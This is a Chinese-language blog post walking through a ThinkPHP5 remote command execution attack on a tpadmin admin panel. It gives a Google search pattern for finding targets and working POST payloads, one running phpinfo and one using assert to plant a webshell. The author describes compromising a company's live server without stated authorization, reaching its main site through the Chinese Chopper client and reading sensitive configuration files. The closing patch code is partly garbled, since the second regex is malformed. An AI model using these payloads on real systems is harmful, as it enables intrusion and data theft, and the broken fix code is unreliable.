ThinkPHP 5
RCE
tpadmin
[toc]
之前爆出了能利用ThinkPHP5 远程命令执行漏洞,没什么事情干,就简单的查看了下所涉及到的系统,发现tpadmin后台管理系统以及tpshop商城系统等所有基于ThinkPHP5开发的系统都不可避免的出现了这个远程命令执行漏洞。此漏洞的利用程度十分简单,但危害十分巨大。目前ThinkPHP5 官方已经更新并修复此漏洞了,但是基于ThinkPHP5的二次开发的系统仍然有一大部分没有修复漏洞,因此可以利用此漏洞获取服务器权限。
通过Google搜索tpadmin后台的特征为inrul:/pub/login.html。我找到了一个基于thinkphp5开发的tpadmin后台管理系统,某平衡车网站的,http://xxx.com/admin/pub/index.php?m=1( <font color="red">声明:本文中出现的域名、IP等均被替换,并非真实存在,请勿测试</font> )。通过测试发现其存在ThinkPHP5 远程命令执行漏洞。
从上图可以看见ThinkPHP5版本是5.0.7的,根据l3m0n的这篇ThinkPHP5 RCE漏洞分析,我们可以构造出显示phpinfo的payload:
POST /admin/pub/index.php?m=1 HTTP/1.1 _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
上图可以看见,网站成功执行了我的phpinfo命令,于是我们更进一步,构造一个payload来获得网站服务器权限。
POST /admin/pub/index.php?m=assert($_POST[1]) HTTP/1.1 <O>_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]</O>
配置、连上菜刀看看,发现该服务器下部署了多个网站,其中主站也在其中。
我们可以看到,直接放访问主站成功,说明主站权限也被获取了。
在主站中,能获取到大量敏感信息和配置文件等,例如:/ThinkPHP/Conf/convention.php文件:
由于这个漏洞的形成原因在于控制器过滤不严导致远程命令执行,所以修复方法的话,就直接在在think\App类的module方法的获取控制器的代码后面加上
if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}
如果改完后404,尝试修改正则,加上\/
if (!preg_match(‘/^A-Za-z\/*/’, controller)) {